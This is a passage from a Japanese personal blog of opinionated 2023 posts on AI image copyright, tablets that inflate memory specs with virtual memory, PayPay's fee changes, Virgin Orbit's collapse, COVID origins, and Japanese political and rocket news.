例として、画像生成の場合について考えてみます。画像生成AIで生成されるものは画像データです。その点で、著作権法上では"絵画、版画、彫刻その他の美術の著作物"か、"写真の著作物"(著作権法10条4,8)に準じて扱われるべきものです。そして、出力される画像は、学習データに用いた画像を変形・翻案したものと言えるでしょう。すなわち、学習データ画像の二次著作物に準じて扱うべきものと言えるだろうわけです。

であれば、まず前提として、原著作権すなわち学習データ画像の著作権は出力画像に及んでいる事になります。従って、学習データ画像の著作権者の同意がない限り、複製や公表等は出来ない事になるわけです。同意のないままそれらの公表・頒布等を行えば、著作権法違反にあたるものとして扱われる可能性が極めて高いと言えるでしょう。

また、原著作権者には、同一性保持権(著作権法20条)が認められています。そもそも同意なしの改変・翻案等は許されていません。つまり、学習データ画像の著作権者の同意なく画像生成を行った時点で著作権法違反にあたる可能性がある、と言えるわけです。なお、AIに学習データを入力する事自体は、技術開発や情報解析として認められており問題ありません。(著作権法30条の4)画像が生成・出力された場合にその著作権が問題になるという事です。

ところで、私的利用ならいいのでしょうか?私的利用の場合は一般に複製権(著作権法30条)、すなわち著作権者の許可なく複製する事が認められていますが、翻案や改変については認められてはいません。実際、ゲームの改造等で私的利用のために改変等をした場合に違法と認められたケースもありますし、私的な作業であっても違法のおそれがないとは言えないでしょう。ただ、実際には複製に準じて問題なしとされる事の方が多いだろうとは思われますが。

斯様に、画像生成一つとっても、少し考えただけで様々な違法の恐れがあるわけです。文章や映像、プログラム等その他のメディアもおよそ殆どが生成AIの対象に含まれていますが、それぞれに同様の、あるいは特有の問題が山積みになっています。結局のところ、安易に手を出していいものではありません。少なくとも金銭のやりとりが絡むような場面ではとても危なくて使えないでしょう。モラルの問題ではなく、法的なリスクの観点から、一旦ストップがかかるのも致し方なし、と言わざるを得ないのではないでしょうか。

5/11/2023

[note] androidタブレットのメモリ容量詐称急増にうんざり

世間的にはオワコン扱いなタブレットですが。個人的には、比較的安価な、主に中華製のAndroidタブレットを長らく愛用していまして。これが、大体2〜3年程度で高確率でバッテリーが膨張するかヘタるかするので、結構頻繁に買い替えが必要になるのです。なのでそれに備えて、定期的にその主たる購入窓口になっているAmazonで現行機種について価格等をチェックしているのですけれども。なんか最近、メモリ容量を水増し表示する業者が激増してるんですね。これがとても迷惑です。

どういう事かというと、まず前提として、タブレットに限らず計算機には1次記憶すなわち揮発性の読み書きが高速なRAM(DRAMやSRAM)と、2次記憶すなわち不揮発性のストレージ(SSDやHDD)がデータを記憶する装置として備えられています。で、計算機のスペックを表示する際には、通常1次記憶のDRAM容量とストレージ容量を区別し、それぞれの容量を併記する方式が標準とされています。この内、アプリ実行時に問題になるのは基本的に前者のDRAM容量の部分なので、こちらの数字がタブレットの仕様として最も重要な点にあたり、従ってチェックの際にはこれを主に見るわけです。何GB未満は足切り、とかそんな感じで。多い方がいい事は言うまでもありません。

例: DRAM4GB,SSD64GBの場合は、4GB+64GB や 4GB RAM + 64GB ROM等 

※なお、SSD等もRAMですから、ROM(Read Only Memory)表示は誤りなのですが、2次記憶媒体を示す表示としてよく使われてしまっています。まあ分かるから別にいいじゃないかという事なんでしょうけれど、困ったものですね。

なのですが、最近になって、実装されているDRAMの容量より大きい容量を表示、記載する品が激増しているのです。本来4GBなのに8GBとしていたり、8GBなのに14GBと表示するだとかです。

これはどういう事かというと、仮想メモリを使っているのですね。この記事を読みに来ているような人には説明不要でしょうけれども、仮想メモリというのは、プログラムの実行の際にメモリ容量が足りなくなった場合に2次記憶の領域(の一部)を1次記憶として使うものです。swapも仮想メモリの一種ですね。元々メモリが少なかった時代にプログラムが1次記憶に入り切らないような事態になっても破綻しないようにするための苦肉の策として導入された機能ですが、メモリ容量が何桁も増えた今になっても、それと競うように肥大化したプログラムに対するフェイルセーフ的な意味で生き残っているものです。

当然ながら、DRAMと仮想メモリの割当先であるフラッシュメモリとではその読み書きのスピードは桁違いに違います。とても同じように扱えるものではありません。用途にもよりますが、大抵の場合、仮想メモリ領域を使用するようになった途端、ほとんどフリーズする状態になってしまうでしょう。同一視など狂気の沙汰です。仮にそのつもりで使えば地獄を見るでしょう。つまり、仮想メモリをメモリ容量に加えてはいけないのです。少なくとも端末の性能表示としては虚偽表示にあたります。

加えて、仮想メモリとしてSSDを使用すれば、当然膨大なデータの書き込み負荷がSSDにかかります。言うまでもなく、SSDは書き込み回数に制限があります。数万回以上の書き換えに耐え得るSLCならまだしも、現在の主流はMLCですらないTLCで、下手すればQLCやそれ以上の、耐久性が著しく低い構造のフラッシュメモリが使われている事も珍しくありません。安価な中華タブのSSDに耐性の高いものが使われているわけはなく、書き換え耐性は1セル当たり概ね千回程度でしょう。その上PCに搭載されているものに比べてタブレットのSSDは容量にあまり余裕がない事が多く、数十GBの空き容量がせいぜいでしょうし、実質的な書き換え容量は10TBWにも満たない事が多いのではないでしょうか。そうと仮定すれば、毎日数GB程度仮想メモリ領域が使用されただけで、3年もすればそれだけでSSDが壊れてしまう事になります。つまり、タブレットの寿命が著しく縮まってしまうのです。

つまるところ、仮想メモリを有効にして販売する事は、処理性能面と耐用年数面の両方で優良誤認を惹起する違法なものと言わざるを得ないのです。禁止されるべきです。今すぐ。

仮想メモリの性質を理解している人なら分かるからいい、というものでもありません。実メモリのサイズを逐一確認しなければならないのは極めて面倒で、手間もストレスもかかります。 只でさえAmazonの検索画面は見づらいのに、そんな事までやってられませんよ。正直見る気が失せます。Amazonには一刻も早い対処を求める次第です。まあしばらくは買い換える予定はないので、次にタブレットが壊れるまでにしてもらえればいいんですけれども。

ちなみに、本記事を書くに際して、Amazonでの検索結果を集計してみました。検索ワードは"Android タブレット"で、ソート方法は標準の"おすすめ"、でブラウザのCookie等はクリア済で検索しました。

結果、検索結果に表示された48件の内、商品の見出しとサムネ画像のいずれかで仮想メモリをメモリ容量に加えて表示していたものは16件、全体の1/3にも上っていました。 さらに16件の内、メモリの内訳すなわちDDRメモリの容量と仮想メモリの部分の容量を表記していたものは5件に過ぎませんでした。残りの11件は、仮想メモリを容量に入れている事すら隠していたのです。1件を除き、各商品の本文(商品の説明)中には流石に内訳の記載がありましたが、そこまで確認する人はどれくらいいるのでしょう?

なお、16件の販売業者名と件数の内訳は以下の通りです。 見事に全部中華系です。公式っぽい名前のセラーもいますね。中華タブなので当然ではあるのですが、やはり中華業者にモラルを期待する方が馬鹿だと言うことなのでしょう。今更な話ですが、残念です。速やかに排除される事を願います。

Teclast Authorized Store  3件

Mobile Global JP 2件

Headwolf Official Store 1件

Bvhandy-JP 1件

Blackview日本公式ショップ 5件

OSphone shop-JP 1件

Nanma Direct 1件

Tbshop-JP 2件

[note] AmazonのPrime Dayが普段の価格とほぼ同じっていうよく知られた話

5/02/2023

[biz] 貧すれば鈍す。Softbank、PayPayサービス改悪

QRコード決済国内最大手のPayPayが大幅にサービスを改悪したそうですね。

具体的には、口座への振り込みに際し、他社のクレジットカードを使用する場合等に多額の手数料を取るようになるんだそうです。

手数料の割合は、概ねクレジットカード決済の手数料と同レベルで、ポイントの還元率等より遥かに高く、利用すればするほどユーザは損をする事になりますから、事実上他社クレジットカードの利用拒否という事になりますね。決済手数料の転嫁は信販会社との関係では規約違反な筈で、信販会社から契約を打ち切られてもおかしくない筈ですが、いいんでしょうか?まあPayPay側としては打ち切られてもいい、という判断なんでしょうけれども。

何にせよ、今回の施策は、自社サービスへの誘導による増収と、誘導に乗らないユーザの締め出し又は搾取、すなわちコストの削減が目的である事は疑いようがないところです。赤字を減らそうというだけの話で、その意図自体には特におかしな点はありません。

ただ、この種の、純粋にユーザにとって不利益にしかならない、しかも無視出来ない程大きな変更というのは、当然ながらユーザの強い反発を招き、他社サービスへの乗り換え・流出の動機になり、サービス自体の縮小、引いては売上・利益の低下を招いてしまいます。下手をすれば消滅すら有り得ます。そうなってしまえば元も子もありません。なので、通常は流出が起こらない状況、すなわち他に選択肢がないレベルでのサービスの寡占に成功した場合にのみ行われるものです。

しかるに、PayPayはQRコード決済の中ではトップシェアではありますが、キャッシュレス決済全体で見ると、クレジットや交通系、またそれらをまとめたスマホ等でのタッチ決済等も一定の支持を得ており、それらを圧倒する程の地位は築いていません。さらに決済手段全体で見れば、当然現金とも競合する状況にあります。

それら競合との比較で見れば、元より利便性ではタッチ決済には及ばず、汎用性では現金に及びません。普及度合いについても、QRコード決済の強みであるところの店舗側での導入コストの低さから利用可能な店舗の数では優位ではあるものの、現金以外はPayPayだけしか使えないような店舗はごく一部にとどまり、そもそもPayPayが使えない店舗も少なくはありません。通用性の面では現金とは比べるべくもないという事です。というか、規格乱立の弊害で、現金以外には一本化すら困難なのが現状です。実際問題、PayPayをよく使うユーザですら、現金や他の決済手段と併用している人が大半でしょう。

つまるところ、寡占というには程遠く、ユーザは自由に他の決済手段への切り替えが可能な状況にあります。

こんな状況で、今回のような強烈なインパクトのある改悪をすれば、当然にユーザの流出を招く事は火を見るより明らかで、それはPayPayの側もわかっている筈です。にも関わらず今回の改悪に踏み切った、という事は、そうせざるを得ない程、財務状況が悪いという事でしょう。ある程度ユーザの流出を招いたとしても、コストを削減しなければならない程に追い詰められているのではないでしょうか。

周知の通り、PayPayはこれまで無理をしてきました。持ち出しで大規模な還元サービスを乱発し、現状のシェアの確立と引き換えに積み上げた負債は数千億レベルで、毎年の決算を見ても営業損失が売上高を上回る惨状です。利益剰余金が年間売上を上回るというのは、いくら成長中の事業と言っても限度があるというべきでしょう。普通は株主が許さないし、むしろなぜ継続出来ているのか不思議な位です。

加えて、PayPayの莫大な損失を補填し続けて来た親会社のSoftbankグループは、周知の通りここ数年投資に失敗して、こちらはこちらで二年連続で兆単位の空前の損失を計上する体たらく。グループ各社に財務体質の改善を指示している事は容易に想像されます。とりわけ赤字事業への風当たりは強烈でしょうし、おそらくは、PayPayには年600億規模の損失は容認出来ないと強く通告されたのではないでしょうか。数年以内に黒字化しろとか言われたかもしれませんね。いやまあむしろ当たり前の話ではあるんですが。Softbankにしてみれば、成長が見込める数少ない事業なのですし、藁にもすがりたいだろうこの状況下では希望を持ちたくもなるでしょう。だからといって無理が通るわけではないのですが・・・。ユーザは信者でもボランティアでもないのです。

こういったPayPayの置かれた状況を鑑みるに、結局のところ、今回の改悪は、ユーザの流出と目先の財務の間で進退窮まった結果、前者を取った、という事ではないかと推測されるわけです。貧すれば鈍す。寡占する前にこんな事をしても、焼け石に水か、下手すれば油を注ぐような事になりかねないでしょうに。PayPayとしては背に腹は代えられない、という事なのでしょうけれども、客観的に見た場合、決済サービスにとってはむしろユーザの方が重要なように思えますし、単に目先の金を取ったという方が適切なのかもしれませんね。だとしたら、もうPayPayは終わりが近いのかもしれない、と半ば確信をもって想像せざるを得ない次第なのです。

3/31/2023

[biz] Virgin Orbitが資金調達失敗でほぼ全従業員解雇

航空機を利用した衛星打ち上げ事業を手掛けている、米Virgin Orbit社が資金繰りに窮して従業員をほぼ全員解雇、事実上の破綻に追い込まれてしまったそうです。

同社は、Richard BransonのVirginグループで宇宙事業を手掛けるVirgin Galactic社のスピンオフ社ですが、売上的に当初から事業が回っているとは到底言えず、少なくとも追加出資を受けなければ運転資金も足りないという自転車操業ですらない惨状だったところ、それに加えて、少し前に主要出資者のBransonが見切りをつけ、追加出資をしない旨宣言されてしまい、あっという間に窮地に陥ってしまいました。慌ててBranson以外の新規出資者を探していた同社ですが、当然ながら出資者を見つける事は出来ず、今回の措置と相成ったわけです。普通に破綻ですね。お疲れ様でした。

同社が今後再生を目指すのか、精算してしまうのかは定かではありませんが、元々収入が無きに等しい位だったのだから、経営的には元々破綻していたと言うべきところですし、むしろよくここまで持ったと言う方が正しいのかもしれません。ろくに事業収入が得られないまま際限なく資本を食いつぶした挙句破綻した、ということで、三菱重工のMRJと似たような感じですが、一応打ち上げに成功した案件も少ないながらある点でこちらのほうがいくらかマシだった、とは言えるかもしれません。

周知の通り、ここ最近の金融環境は急激に厳しくなっています。欧米での金融緩和の終了、続いてインフレ対策のための利上げが続き、米国中心にベンチャー関係に近く、不安定なスタートアップへの資金供給を担ってきた部類の金融機関の破綻も相次いでいる。当然、この種の事業が成り立っていない、話題先行型の企業の資金調達はコストも含め極めて厳しくなっているだろうし、その事が同社の破綻の決定打になった面はあるでしょう。その意味で、運が悪かったと言えなくもないかもしれません。

しかし、そもそもの話として、追加出資が得られなければ立ち行かなくなるような事業の構造は正しいとは到底言えないわけで。需要が不安定な位なら全然ましな方で、本来淘汰されて然るべきだろう採算性の壊滅的な事業や、それ以前に事業の立ち上げが許されるべきではなかったと言わざるを得ない程に見通しが甘いものも当たり前に見られます。そんなもの、破綻して当然でしょう。ですが、そういう、耐震性能0の高層ビルのような企業が山ほどあるのが現状なのです。それらが、雪崩を打って崩れ落ちようとしている。

この種の、ただ徒に資本を食いつぶすだけの赤字事業の存在を許容してきた主たる要因であるところの、資金供給の名目の下に資金調達があまりに容易であった金融環境、そこに溜まったツケの大きさとその精算がもたらす応報の厳しさに、改めて戦慄を覚えます。しかし放置すればそれはさらに肥大化するだけである事もまた明白、そろそろ覚悟を決めるべきかと、半ば諦めとともに思う次第なのです。 

 Virgin Orbit fails to secure funding, will cease operations and lay off nearly entire workforce

3/18/2023

[sci] 新型コロナウイルスの第一被害者はタヌキらしい

タヌキが犬の親戚だと知ってました?知ってた?そう。。。

とある英文記事を読んでいると、Racoon dogという言葉が出ていまして。えっこれタヌキ?と思って調べてみるとやはりタヌキでした。直訳するとアライグマ犬、という事ですね。その見た目からして、アライグマに近い種なんだろうと勝手に思っていたのですが、生物学的に見るとタヌキはイヌ科に属していて、アライグマの属するアライグマ科ではないんだそうです。意外でした。生物に詳しい人なら常識なんだろうな、とか。

それはそれだけの話なんですが、 その読んでいた記事というのが、新型コロナウイルスの起源を遺伝子的に分析したら武漢の市場で売られたタヌキの可能性が高い、というもので。またタヌキが風評被害を受けそうな話ですね。周知の通り、武漢はコロナウイルスの流行が始まった地であり、そこにあったウィルス研究所、及び家畜市場は状況証拠的に見てコロナウイルスの発生地である事が確実視されてきたところですが、そこに物的証拠が追加されたということです。

具体的には、コロナ発生後中国政府により閉鎖された後の家畜市場について、調査団はその壁や床、ケージ等をモップ等で拭って採取したサンプルを確保しており、それを分析したところ、コロナウイルスと共に動物のDNAが検出され、その大部分がタヌキのものだという事が判明したんだそうです。

壁を拭うだけでそんなに出るくらいだから、市場内で蔓延していた事は確実でしょうし、これをもってタヌキが宿主だと断言できるわけではありませんが、タヌキが主たる宿主の一つであった事はほぼ間違いないだろう、というわけですね。そりゃそうでしょう。

しかし、この分析がどれくらい意味があるかというと微妙ですね。というのも、これでコロナウイルスの起源が特定できたわけでもなく、その感染拡大経路が判明したわけでもありません。市場に持ち込まれたタヌキがウイルスを運んで来たのか、市場に出入りする他の生物(人間を含む)が持ち込んだのかもわからないのです。同じ場所にあった、というだけなのですから。

その意味で、ウイルスの起源に関する他の仮説、すなわち武漢の研究所からの漏洩説やコウモリ起源説等が否定されたわけでもありません。実質的にはあまり変わらず、従来説にタヌキ起源説が追加された程度でしょうか。強いて言えば、コウモリ起源説がいくらか弱まる位でしょうね。

証拠は既に中国政府により隠滅され、それを検証する術はほとんどない事にも変わりありません。今更言うまでもない事ですが、それらを知ることができれば、どれほどの知見が得られ、将来の被害への備えが出来たことでしょうか。おそらく、真実が明らかになる事はこれから先もないのでしょう。それら全ての喪失、それこそが中国政府の犯した過ちであり、取り返しのつかない罪であると、改めて最大限の無念と非難を込めて断言せざるを得ません。

今回の話にしても、単にタヌキがコロナウイルスと結び付けられ、ほとんど無意味に忌避されるだけで終わるのではないでしょうか。タヌキが悪いわけではなく、単なる被害者の一つに過ぎないのにも関わらず。虚しい事です。

New Evidence Supports Animal Origin of COVID Virus through Raccoon Dogs 


3/09/2023

[pol] 虎を失った狐

高市早苗氏が公文書記録を捏造と主張している件ですが、見るに耐えませんね。

詳細は今更繰り返すまでもありませんが、大まかにまとめると次の通り。同氏が総務相であった際の、省内で特定のテレビ放送局に関係して放送に対する公権力の中立性に抵触する氏の発言、有り体に言えば暴言と言うべき類のものが記録された文書が公表され、国会の質疑の中で追求を受けた際にその文書自体が捏造だと断言し、後にその文書が総務省により行政文書、すなわち公文書である事が確認された後も、内容が不正確だ、等と言い方を変えつつもなお捏造と主張し続けている、というものです。

内容自体は、周知の通り故安倍氏と同じく右翼の中でも最強硬派の代表として知られる高市氏の過去の発言を踏まえれば、まあそれ位の事は普通に言うだろう、というようなもので、逆に言えば今更それが判明したところで驚くにはあたらない程度のものです。おそらく当初から氏が本文書の記載を事実と認めていたとして、言い過ぎだったと陳謝撤回すればそれで済んだでしょう。実際に圧力がかかっていなければ、ですけれども。

が、公文書と判明する前に、もし文書が本物であれば議員辞職する旨明言してしまい、その辞職を回避する、すなわち保身のために、文書自体が捏造であったとの主張を撤回出来なくなってしまったのですね。

状況は以上の通り。次に、氏の主張の真偽について検討してみましょう。

まず、氏の主張するところの本文書(及びその記載事項)が捏造である旨については、その主張を裏付ける客観的な根拠は何もなく、従って考慮に値しないと言わざるを得ません。氏の主張も、"そんなレクを受けた筈はない"等、根拠は自身の記憶のみ、しかも"筈だ"とか曖昧な部分すら残っています。証拠性というか、第三者に対する説得力は一切ないわけです。明らかに覚えているだろう事柄についてすら都合よく覚えていないと主張する政治家が記憶にないと言ったところで、何の意味もありません。

一方、文書の内容、すなわち氏の発言等については、捏造を疑わせるような点は見当たらないわけですね。仮に捏造であるとしてみましょう。公文書である事ははっきりしているのだから、その作成者は官僚、しかも大臣とのやり取りに同席する程度の高官です。文書の正確性は間違いなく高いでしょうし、その重要性からして省内の多数の部署間で共有もされ、多数の目に晒されていたでしょう。そのような文書の、それも最も重要な部分である大臣の発言、しかも行政としては何ら必要性も必然性もない類のものを、総務省の高官がわざわざ創作捏造してねじ込んだ、という事になります。有り得ません。

氏の修正された主張であるところの、文書の不正確性についても、あったとしてせいぜい軽微な表記ミス程度でしょうし、発言の主旨に影響を与えるほどのものとは到底考えられません。

結局のところ、氏の主張には根拠がなく、一方の文書の真性については根拠は十分でありかつ否定する根拠もない。高市氏は本件の争点に関してはもう詰んでいると言わざるを得ません。にも関わらずなおも自身の主張を通そうとする氏の試みは無謀という他ないでしょう。

意図的なのか、それとも忘れているのかは不明ですが、解せません。積極的に過激な主張を行う事で知られ、従ってこの種の舌禍への対処については慣れている筈の高市氏が、何故こんな無謀な振る舞いに及んでしまったのでしょうか。

多分に、高市氏は強力な後ろ盾だった安倍氏がいた頃のやり方を忘れられないのではないでしょうか。本件文書は、故安倍首相による官僚の統制が強力に作用していた時期のものです。おそらく、安倍首相が存命であれば、その統制によって文書自体が外部に出る事もなかったでしょうし、外部に出たとしても、安倍氏の威光により総務省の側が公文書と認める事もなく、捏造との主張が通っていたのかもしれません。森友学園関係の一連の事件のように。

しかし安倍氏はもういないのです。当然、その威を借りる事は出来ず、しかしその代わりになる後ろ盾を得る事も出来ず。にも関わらず、虎がいた頃の生き方を変えられなかったために、容赦なく外敵に淘汰されようとしている、孤独で愚かな狐。今の氏は、そういうものなのかもしれません。

3/08/2023

[pol] 東谷とその支持者、無知と無責任が招いた惨事

やっと一区切り、なんでしょうか。東谷義和参院議員(通称ガーシー)の国会法違反の件、除名処分が確実な見込みとなりました。

本件は、前回の参議院選挙で比例当選した同議員につき、当選後半年以上に渡り一度も議会に出席せず、国会法第五条の集会義務違反に問われたものです。これに伴い国会法の規定に従い懲罰委員会にて国会法122条第二項の"公会議場における陳謝"を課され、同氏はこれに同意の旨返答したにも関わらず、期日にそもそも帰国せず、履行拒否となりました。

これを受けて、当然に陳謝よりもさらに重い懲罰を課される運びになったのですが、国会法122条に定められた懲罰の方法の内、陳謝よりも重いものは登院停止と除名の2つしかなく、うち登院停止は登院懈怠者であるところの同氏には懲罰としての意味をなさないため、もはや除名する他ない、というわけです。

同氏は懲罰に応じないだろうという見込みは当初からありました。周知の通り、同氏は暴露系と言われるその活動に伴い、名誉毀損や業務妨害、さらには詐欺や脅迫等の刑法犯の容疑者として多数の告発を受けており、帰国すれば逮捕・訴追を受けるだろう事はほぼ確実で、それを回避たるために帰国しないだろうと見られていたためです。

ただ、国会議員には不逮捕特権があり、少なくとも会期中は原則として逮捕されません。すなわち会期中であれば帰国の可能性もないではないとも考えられるため、一足飛びに除名にはせず、念の為に陳謝処分が課されたのですが、これも無視された、というわけです。逮捕の恐れはないにも関わらず何故同氏が帰国しなかったのか、いささか理解し難いようにも思われますね。

これは推測ですが、同氏は本件に関わる国会法及び憲法の規定を理解しておらず、そのために今回のような対応になったのではないでしょうか。まず国会法を軽くでも読んでいれば、国会議員がどのような義務を負い、実際に議院がどのように運営されているかが分かるし、議員が議会に出席する事がおよそ全ての活動の前提になっている事が理解できた筈です。陳謝の懲戒への対応についても、出席の代わりに動画を送りつけたそうですが、国会法の規定上"公会議場における"と明記されている事から、動画を送りつけたところで意味がない事も明らか。法を理解しているとは到底思えない振る舞いです。議院側も話が通じないと困惑したことでしょう。

大抵のことがオンラインで事足りるようになって来た昨今にあって、登院・出席を前提とした国会運営のあり方は時代にそぐわない、という考え方はあり得るでしょうけれども、実際にオンラインの方式を議院運営に組み込むのは容易な事ではなく、少なくとも国会法の全面改正と各種規則の改定、各種設備の導入、何より現在議院を中心に運営されている各省庁はじめ行政との連携のあり方すなわち政府中枢の運営の形態等も根本から変更が必要になります。

そもそも、新しい方式がメリットばかりをもたらすわけはありません。デメリットも小さくはないでしょう。ビデオ会議では必ず生じる遅延からして影響は甚大です。絶対に必要となる議員の本人確認及び議員以外の排除も困難を極めるでしょう。末端の事務程度ならいざ知らず、事は国権の最高機関の運営すなわち国家運営の根幹に関わるものです。その是非も含め、広範囲に渡って慎重かつ詳細な検討と判断が必要になります。民法や憲法の改正ほどではないにせよ、それに準じる程度の困難なプロセスになるでしょう。

それだけの労力を払い、デメリットを受け入れてでもその制度変更が必要だと主張するなら、その主張はまさに国民の代表たる議員が法に則って行うべき事であって、当たり前ですが現在の制度を無視する言い訳にはならないのです。現状がそうなっていない事を批判するなら、その対象はまず第一に議員である筈なのですし、議員でありながら議院運営を妨げている東谷氏は最も責任が重いと言うべきでしょう。それが法の無知によるというなら、そもそも同氏に議員の資格がなかったものと断ぜざるを得ません。立候補などするべきではありませんでしたね。やれやれです。

もっとも、同氏の人となりやその活動を少しでも知っていれば、氏に議員の職責を果たすに足る資質があると考え得る筈もなかったでしょうけれども。投票は権利であり自由でもありますが、他の権利と同様、相応の責任が伴うのです。この事態を招いた、すなわち国会運営の妨害に加担したに等しいところの、氏に投票した20数万の愚かな有権者達には深く反省を求める次第です。一定期間選挙権の剥奪、位してもいいくらいだと思いますよ。不可能ですけれども。

なお、同議員は比例区選出につき、除名後の後任について補欠選挙は実施されず、同名簿中の次順位以降の候補者が繰り上がり当選という事になります。同党の候補者は基本未経験者しかおらず、しかも知名度等の議員としての能力とは全く関係ない事柄のみによって選定されている筈ですから、期待など出来よう筈もありませんが、せめて国会運営の邪魔だけはしないで頂きたいと思う次第です。

3/07/2023

[note] 失敗を失敗と認めなかったJAXAの必然

H3ロケットが打ち上げ失敗だそうで。

延期に延期を重ねた末に先日打ち上げを実行したものの、噴煙を上げながらも不具合が検知され打ち上がらなかった本機ですが、周知の通り運営体であるJAXA(及びその下請けで実質的な開発担当である三菱重工)は失敗ではなく中止であると強弁していた本件。

打ち上げを任意でやめたのではなく、実行しながらも機器の問題で遂行できなかったのですから、それはまごうこと無き失敗であり、当然ながら、本来ならその障害となった技術的問題を解決すべく、その原因究明がなされ、その上で対策が行われるべきものでした。それをせず、そのまま再チャレンジなど無謀という他ないでしょう。

しかしその失敗をそもそも認めず、従って機器に問題はないとして対策もないままに漫然と再実行した結果が今回の失敗というわけです。今度は途中で自動停止もせず打ち上がってしまい、あえなく爆破となりました。中止と強弁する余地はありません。完全に失敗です。

この失敗は、単なる偶然による失敗ではありません。前回の失敗を失敗と認めなかった、そのJAXAの運営、意思決定のプロセスにこそ原因がある、すなわちJAXAのロケット事業自体の構造的な機能不全を示している事は明らかです。平たく言えば、JAXAには少なくとも新型ロケット事業を行う能力がないという事でしょう。

本事業を巡っては、予算の都合等でこれ以上延期は出来ないとかそういう内部の事情があったのでしょうが、その種の社内政治的な事情を優先し、技術面のプロセスを軽んじた時点でこの失敗はほとんど決まっていたのでしょう。

これから後始末という形でJAXAと三菱重工はじめ担当各所が責任のなすり合いやらを始めるんでしょうが、無惨なものです。救いはありません。今回の失敗が今後の糧になる事すらないのですから。本当に最低ですね。